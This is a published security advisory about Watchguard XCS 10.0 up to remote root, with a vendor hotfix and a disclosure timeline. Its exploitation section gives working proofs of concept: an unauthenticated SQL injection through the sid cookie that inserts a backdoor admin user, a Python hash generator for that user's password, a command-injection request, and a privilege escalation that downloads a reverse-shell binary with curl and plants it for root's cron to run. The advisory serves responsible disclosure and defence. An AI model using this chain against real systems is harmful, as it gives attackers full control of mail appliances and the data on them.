Watchguard XCS 10.0 – Multiple Vulnerabilities
( , ) (, . '.' ) ('. ', ). , ('. ( ) ( (_,) .'), ) _ _, / _____/ / _ \ ____ ____ _____ \____ \==/ /_\ \ _/ ___\/ _ \ / \ / \/ | \\ \__( <_> ) Y Y \ /______ /\___|__ / \___ >____/|__|_| / \/ \/.-. \/ \/:wq (x.0) '=.|w|.=' _=''"''=. presents.. Watchguard XCS Multiple Vulnerabilities Affected versions: Watchguard XCS <=10.0 PDF: http://www.security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf +-----------+ |Description| +-----------+ The Watchguard XCS virtual appliance contains a number of vulnerabilities, including unauthenticated SQL injection, command execution and privilege escalation. By combining these vulnerabilities, an attacker may remotely obtain root privileges on the underlying host. +------------+ |Exploitation| +------------+ ==SQL Injection== Unauthenticated SQL injection is possible through the “sid” cookie parameter in the Watchguard XCS web interface due to a PHP script that insecurely constructs an SQL query using that value. Stacked queries are possible, and allow insertion of a backdoor web interface user into the database. The following POC shows the insertion of a backdoor user, and a python snippet that can be used to construct the Watchguard XCS specific password hashes. [SQLi POC] GET /borderpost/imp/compose.php3 HTTP/1.1 Host: [HOST] Cookie: sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(99, 'backdoor', '0b75e2443d3c813d91ac5b91106a70ad', 0, 'server_admin', 0, 0)-- [Python Password Hash Generator] import hashlib def gen_hash(pass_clear): PRE_SALT = "BorderWare " POST_SALT = " some other random (9) stuff" t1 = hashlib.md5(PRE_SALT + pass_clear + POST_SALT).hexdigest() t2 = hashlib.md5(pass_clear + t1).hexdigest() return t2 print gen_hash("backdoor") ==Command Injection== The web interface of XCS contains a command injection vulnerability, allowing an authenticated web application user to execute system commands as the "nobody" user. The vulnerability is in the id parameter of the "mailqueue.spl" page. [POC] GET /ADMIN/mailqueue.spl?f=dnld&id=;id;uname%20-a Host: [HOST] Cookie: [VALID COOKIE] ==Privilege Escalation== Privilege Escalation There are multiple methods to escalate privileges to root after obtaining a shell. The "FixCorruptMail" script exploit is shown below, an additional method is detailed in the accompanying PDF. Privilege escalation is possible by exploiting the /usr/local/bin/FixCorruptMail script when it is called by root's crontab every three minutes. This script reads a file “badqids” from the /var/tmp directory, and constructs a shell command using some of the contents. [POC] touch /tmp/dummyfile /usr/local/sbin/curl -s http://[REVERSE_SHELL.elf] -o /tmp/revshell chmod +x /tmp/revshell echo "../../../../../../tmp/dummyfile;/tmp/revshell" > /var/tmp/badqids The executable "/tmp/revshell" will be executed within three minutes by the root user. +----------+ | Solution | +----------+ Apply the relevant XCS security hotfix (Build 150522) as provided by Watchguard. +-------------------+ |Disclosure Timeline| +-------------------+ 12/05/2015 - Email sent to confirm vendor security contact address is valid. 13/05/2015 - Response from vendor confirming address is valid. 13/05/2015 - Sent advisory through to vendor. 13/05/2015 - Vendor confirms receipt of advisory. 27/05/2015 - Vendor sends update on fixes, states a release will be published shortly. 09/06/2015 - Security hotfixes released for Watchguard XCS v10.0 and v9.2. 29/06/2015 - Public advisory release. +-----------------------------+ |About Security-Assessment.com| +-----------------------------+ Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients. Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research. For further information on this issue or any of our service offerings, contact us: Web www.security-assessment.com Email info () security-assessment.com Phone +64 4 470 1650 |